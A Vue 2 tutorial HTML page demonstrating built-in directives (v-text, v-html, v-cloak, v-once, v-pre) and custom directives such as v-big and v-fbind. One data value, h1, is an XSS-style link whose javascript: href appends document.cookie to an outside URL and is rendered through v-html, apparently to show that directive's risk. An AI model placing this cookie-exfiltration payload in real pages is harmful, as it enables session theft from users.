<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8" />
    <title>内置指令</title>
    <script type="text/javascript" src="./js/vue.js"></script>
    <script src="./js/dayjs.min.js"></script>
    <style>
        body {
            padding: 10px;
        }

        input {
            margin: 5px;
        }
    </style>
</head>
<div id="root">
    <h2>{{name}}</h2>
    <hr v-pre>
    <div v-text="name"></div>
    <div v-html="h"></div>
    <div v-html="h1"></div>
    <div v-cloak>vue接管容器后会删除v-cloak</div>
    <!--只在初始化时执行一次-->
    <div v-once>初始化的N是:{{n}}</div>
    <div @click="n++" style="width: 100px; height:20px; cursor: pointer;">当前N是:{{n}}</div>
    <div v-pre>跳过vue解析，加快速度</div>
    <div v-big="n"></div>
    <div v-big-number="n"></div>
    <div><input type="text" v-fbind="n"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;

    const vm = new Vue({
        el: '#root',
        data: {
            name: '培立优',
            time: 1696490760633,
            h: '<h4>这里有html</h4>',
            h1: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>好看的</a>',
            n: 1
        },
        //#region 
        computed: {
            fmtTime() {
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        methods: {
            registry() {
                console.log(JSON.stringify(this.userInfo));
            }
        },
        //#region 局部过滤器
        filters: {
            timeFormater(val, fmt = 'YYYY-MM-DD HH:mm:ss') {
                return dayjs(val).format(fmt)
            },
            // mySlice(val) {
            //     return val.slice(0, 4)
            // }
        },
        //#endregion
        //#region 自定义指令 这里的this 都是window
        directives: {
            big(element, binding) {
                console.log('big', this);
                element.innerText = binding.value * 10;
            },
            'big-number'(element, binding) {
                console.log('big-number', this);
                element.innerText = '指令由多个单词组成:' + (binding.value * 10);
            },
            fbind: {
                bind(element, binding) {
                    console.log('bind 绑定时');
                    element.value = binding.value;
                },
                inserted(element, binding) {
                    console.log('inserted 插入页面后');
                    element.focus();
                },
                update(element, binding) {
                    console.log('update 重新解析时');
                    element.value = binding.value;
                }
            }
        }
        //#endregion

    });
</script>

</html>